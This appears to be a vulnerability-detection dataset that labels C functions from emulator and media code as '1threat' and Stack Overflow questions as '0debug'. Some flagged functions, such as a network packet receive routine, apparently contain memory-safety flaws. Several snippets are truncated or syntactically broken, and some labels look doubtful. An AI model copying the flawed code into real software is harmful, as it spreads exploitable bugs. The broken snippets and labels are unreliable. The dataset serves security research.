static av_cold int oggvorbis_encode_close(AVCodecContext *avctx) { OggVorbisContext *s = avctx->priv_data; vorbis_analysis_wrote(&s->vd, 0); vorbis_block_clear(&s->vb); vorbis_dsp_clear(&s->vd); vorbis_info_clear(&s->vi); av_freep(&avctx->coded_frame); av_freep(&avctx->extradata); return 0; }
1threat
static void sdl_resize(DisplayState *ds, int w, int h) { int flags; flags = SDL_HWSURFACE|SDL_ASYNCBLIT|SDL_HWACCEL; flags |= SDL_RESIZABLE; if (gui_fullscreen) flags |= SDL_FULLSCREEN; screen = SDL_SetVideoMode(w, h, 0, flags); if (!screen) { fprintf(stderr, "Could not open SDL display\n"); exit(1); } ds->data = screen->pixels; ds->linesize = screen->pitch; ds->depth = screen->format->BitsPerPixel; ds->width = w; ds->height = h; }
1threat
def next_Power_Of_2(n): count = 0; if (n and not(n & (n - 1))): return n while( n != 0): n >>= 1 count += 1 return 1 << count;
0debug
static void ne2000_receive(void *opaque, const uint8_t *buf, int size) { NE2000State *s = opaque; uint8_t *p; int total_len, next, avail, len, index, mcast_idx; uint8_t buf1[60]; static const uint8_t broadcast_macaddr[6] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }; #if defined(DEBUG_NE2000) printf("NE2000: received len=%d\n", size); #endif if (s->cmd & E8390_STOP || ne2000_buffer_full(s)) return; if (s->rxcr & 0x10) { } else { if (!memcmp(buf, broadcast_macaddr, 6)) { if (!(s->rxcr & 0x04)) return; } else if (buf[0] & 0x01) { if (!(s->rxcr & 0x08)) return; mcast_idx = compute_mcast_idx(buf); if (!(s->mult[mcast_idx >> 3] & (1 << (mcast_idx & 7)))) return; } else if (s->mem[0] == buf[0] && s->mem[2] == buf[1] && s->mem[4] == buf[2] && s->mem[6] == buf[3] && s->mem[8] == buf[4] && s->mem[10] == buf[5]) { } else { return; } } if (size < MIN_BUF_SIZE) { memcpy(buf1, buf, size); memset(buf1 + size, 0, MIN_BUF_SIZE - size); buf = buf1; size = MIN_BUF_SIZE; } index = s->curpag << 8; total_len = size + 4; next = index + ((total_len + 4 + 255) & ~0xff); if (next >= s->stop) next -= (s->stop - s->start); p = s->mem + index; s->rsr = ENRSR_RXOK; if (buf[0] & 0x01) s->rsr |= ENRSR_PHY; p[0] = s->rsr; p[1] = next >> 8; p[2] = total_len; p[3] = total_len >> 8; index += 4; while (size > 0) { avail = s->stop - index; len = size; if (len > avail) len = avail; memcpy(s->mem + index, buf, len); buf += len; index += len; if (index == s->stop) index = s->start; size -= len; } s->curpag = next >> 8; s->isr |= ENISR_RX; ne2000_update_irq(s); }
1threat
Generate Excel Chart only if data is available in the table : I have 12 dynamic tables(combinations based tables) in an excel sheet which pull data from other sheets using formula. So at a time, only one table will have data at a time so only one graph will be generated based on that data.
0debug
Where to use await keyword - C# : <p>I am trying to wrap the WebApi calls from MVC app. So I created the below generic method,</p> <pre><code>public async Task&lt;T&gt; GetApi&lt;T&gt;(T model, string uri) where T : class { using (HttpClient httpClient = new HttpClient()) { httpClient.BaseAddress = new Uri(baseAPIURL); httpClient.DefaultRequestHeaders.Accept.Clear(); httpClient.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/json")); var response = httpClient.GetAsync(uri).Result; if (response.IsSuccessStatusCode) { return response.Content.ReadAsAsync&lt;T&gt;().Result; } } return default(T); } </code></pre> <p>Here, where to use the await keyword to make my method async?</p>
0debug
How to create a bot in my website that checks if the user is really online or offline and update his status in the database : <p>U want the bot ro check every 30 seconds to every single user if they are really online and offline by sending a request and if the bot dont get any respond after 20 sexonds they will update the status on the satabase ro offline. Like $con->query("UPDATE users SET status='offline' WHERE username='$username'); I want the bot to check on all users online. Offline users dont need to be checked. It doesnt need to ne a super modded bot. I just need the simplest form of a bot that can perform the following actions. </p>
0debug
is there any limit on size of the data that is passed to post Method in jersy framework? : I am calling the JAVA Jersy post method from ajax call with json data. But post method is not getting the complete data, is there any limitation on the size of the data that is passed.
0debug
Is there a tools attribute for ImageView content in Android? : <p>I could not find a <em>tools</em> attribute to set an example image in a layout for Android. My assumption is that there is no such thing at the moment, at least no <em>direct</em> support.</p> <p>But I was wondering whether I just did not search well enough or whether there is a workaround for this.</p> <p>How do you define image placeholders at design time in Android with <em>tools</em>?</p> <hr> <p>Example of a <em>tools</em> attribute for a TextView (i.e. the <em>tools:text</em> attribute for text):</p> <pre><code>&lt;TextView android:id="@+id/tv_vote_average" android:layout_width="wrap_content" android:layout_height="wrap_content" android:textSize="16sp" android:textStyle="bold" tools:text="8.4/10"/&gt; </code></pre>
0debug
regular expression for a to z in jquery not working on mvc 5 : **my code is look like this. help me** $('#form').validate({ errorElement: "span", // contain the error msg in a span tag errorClass: 'help-block', ignore: "", rules: { CountryName: { required: true, regex: /^[a-zA-Z]+$/ } }, messages: { CountryName:{ required: "Enter Country name", regex: "Enter Correct Country name", }, },
0debug
static void net_socket_accept(void *opaque) { NetSocketListenState *s = opaque; NetSocketState *s1; struct sockaddr_in saddr; socklen_t len; int fd; for(;;) { len = sizeof(saddr); fd = qemu_accept(s->fd, (struct sockaddr *)&saddr, &len); if (fd < 0 && errno != EINTR) { return; } else if (fd >= 0) { break; } } s1 = net_socket_fd_init(s->peer, s->model, s->name, fd, 1); if (s1) { snprintf(s1->nc.info_str, sizeof(s1->nc.info_str), "socket: connection from %s:%d", inet_ntoa(saddr.sin_addr), ntohs(saddr.sin_port)); } }
1threat
void qmp_guest_set_time(bool has_time, int64_t time_ns, Error **errp) { Error *local_err = NULL; SYSTEMTIME ts; FILETIME tf; LONGLONG time; if (!has_time) { error_setg(errp, "Time argument is required on this platform"); return; } if (time_ns < 0 || time_ns / 100 > INT64_MAX - W32_FT_OFFSET) { error_setg(errp, "Time %" PRId64 "is invalid", time_ns); return; } time = time_ns / 100 + W32_FT_OFFSET; tf.dwLowDateTime = (DWORD) time; tf.dwHighDateTime = (DWORD) (time >> 32); if (!FileTimeToSystemTime(&tf, &ts)) { error_setg(errp, "Failed to convert system time %d", (int)GetLastError()); return; } acquire_privilege(SE_SYSTEMTIME_NAME, &local_err); if (local_err) { error_propagate(errp, local_err); return; } if (!SetSystemTime(&ts)) { error_setg(errp, "Failed to set time to guest: %d", (int)GetLastError()); return; } }
1threat
Loading second component causes "The template specified for component SidebarComponent is not a string" : <p>I have just started learning angular and i tried to create a simple dashboard.</p> <p>I've created 2 componentents, DashboardComponent and SidebarComponent.</p> <p>Dashboard loads fine, but when i load SidebarComponent i'm getting a error on browser "The template specified for component SidebarComponent is not a string"<a href="https://i.stack.imgur.com/EyaPL.png" rel="noreferrer"><img src="https://i.stack.imgur.com/EyaPL.png" alt="enter image description here"></a></p> <p>SidebarComponent:</p> <pre><code>import { Component } from '@angular/core'; @Component({ selector: 'sidebar-component', templateUrl: './sidebar.component.ts', styleUrls: ['./sidebar.component.scss'] }) export class SidebarComponent {} </code></pre> <p>App.module</p> <pre><code>import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; import { AppComponent } from './app.component'; import { DashboardComponent } from './dashboard/dashboard.component'; import { SidebarComponent } from './sidebar/sidebar.component'; @NgModule({ declarations: [ AppComponent, DashboardComponent, SidebarComponent ], imports: [ BrowserModule ], providers: [], bootstrap: [AppComponent] }) export class AppModule { } </code></pre> <p>Both of them are also loaded in app.component</p> <pre><code>&lt;sidebar-component&gt;&lt;/sidebar-component&gt; &lt;dashboard&gt;&lt;/dashboard&gt; </code></pre>
0debug
reverse string without using strrev and any type of loop or recursion : <p>I want to reverse string using substr function and without using strrev and any type of loop (not recursion too). other functions can be used to do this task.</p> <p>Like: Anshul reverse: luhsnA</p>
0debug
DeviceState *qdev_try_create(BusState *bus, const char *name) { DeviceState *dev; dev = DEVICE(object_new(name)); if (!dev) { if (!bus) { bus = sysbus_get_default(); qdev_set_parent_bus(dev, bus); qdev_prop_set_globals(dev); return dev;
1threat
static int dv_extract_audio_info(DVDemuxContext* c, uint8_t* frame) { const uint8_t* as_pack; int freq, stype, smpls, quant, i, ach; as_pack = dv_extract_pack(frame, dv_audio_source); if (!as_pack || !c->sys) { c->ach = 0; smpls = as_pack[1] & 0x3f; freq = (as_pack[4] >> 3) & 0x07; stype = (as_pack[3] & 0x1f); quant = as_pack[4] & 0x07; if (stype > 3) { av_log(c->fctx, AV_LOG_ERROR, "stype %d is invalid\n", stype); c->ach = 0; ach = ((int[4]){ 1, 0, 2, 4})[stype]; if (ach == 1 && quant && freq == 2) ach = 2; for (i = 0; i < ach; i++) { if (!c->ast[i]) { c->ast[i] = avformat_new_stream(c->fctx, NULL); if (!c->ast[i]) break; avpriv_set_pts_info(c->ast[i], 64, 1, 30000); c->ast[i]->codec->codec_type = AVMEDIA_TYPE_AUDIO; c->ast[i]->codec->codec_id = CODEC_ID_PCM_S16LE; av_init_packet(&c->audio_pkt[i]); c->audio_pkt[i].size = 0; c->audio_pkt[i].data = c->audio_buf[i]; c->audio_pkt[i].stream_index = c->ast[i]->index; c->audio_pkt[i].flags |= AV_PKT_FLAG_KEY; c->ast[i]->codec->sample_rate = dv_audio_frequency[freq]; c->ast[i]->codec->channels = 2; c->ast[i]->codec->bit_rate = 2 * dv_audio_frequency[freq] * 16; c->ast[i]->start_time = 0; c->ach = i; return (c->sys->audio_min_samples[freq] + smpls) * 4; ;
1threat
How to change div text from php required child's, jquery .load grandgrandchild (with picture)? : [img]https://i.imgur.com/38yMTzF.jpg Hello, so to understand the problem, please open image. 5.php needs to change text in index.php using jquery. index.php includes 2.php. from 2.php to 5.php each php is nested into div of that one that's coming before him. I tried different ways, but always get error that says Uncaught SyntaxError: Unexpected identifier (problem is in 5.php, where jquery just can't find "bla" class.
0debug
Cannot read property 'Direction' of undefined, tests only : <p>I just added <code>TouchableOpacity</code> to a component and the app is working fine, but my tests, using <code>react-native-testing-library</code>, fail to run:</p> <pre class="lang-js prettyprint-override"><code> ● Test suite failed to run TypeError: Cannot read property 'Direction' of undefined at Object.Direction (node_modules/react-native-gesture-handler/Directions.js:3:39) at Object.&lt;anonymous&gt; (node_modules/react-native-gesture-handler/GestureHandler.js:2:1) </code></pre> <p>I just removed and re-added <code>react-native-gesture-handler</code> with yarn, and ran <code>pod install</code>. Again, the app is working, but the tests fail to run.</p> <p>I actually get the same error when using <code>&lt;Text onPress={() =&gt; onOptionPress(opt)} /&gt;</code> rather than <code>TouchableOpacity</code>.</p> <p>component: </p> <pre class="lang-js prettyprint-override"><code>const SelectOptions = ({ field, dismissOverlay, onOptionPress }) =&gt; { return ( &lt;Overlay isVisible overlayStyle={styles.overlay} height={"auto"} onBackdropPress={dismissOverlay} &gt; &lt;View&gt; {field.options.map((opt, i) =&gt; ( &lt;TouchableOpacity style={styles.option} key={i} onPress={() =&gt; onOptionPress(opt)} &gt; &lt;Text&gt;{opt}&lt;/Text&gt; &lt;/TouchableOpacity&gt; ))} &lt;/View&gt; &lt;/Overlay&gt; ); }; </code></pre> <p>test:</p> <pre class="lang-js prettyprint-override"><code>describe("CardFormView", () =&gt; { let wrapper, birthdayField; beforeEach(() =&gt; { wrapper = render( &lt;React.Fragment&gt; &lt;CardFormView form={form} /&gt; &lt;/React.Fragment&gt; ); birthdayField = wrapper.getByText("Add a Birthday Gift Card"); }); const message1 = "..."; const message2 = "..."; it("shows the options for a birthday card when clicked", () =&gt; { fireEvent.press(birthdayField); expect(wrapper.getByText(message1)).toBeDefined(); }); it("sets an option when clicked", () =&gt; { fireEvent.press(birthdayField); const firstOption = wrapper.getByText(message1); fireEvent.press(firstOption); expect(wrapper.queryByText(message2)).toBeNull(); expect(wrapper.getByText(message1)).toBeDefined(); }); }); </code></pre>
0debug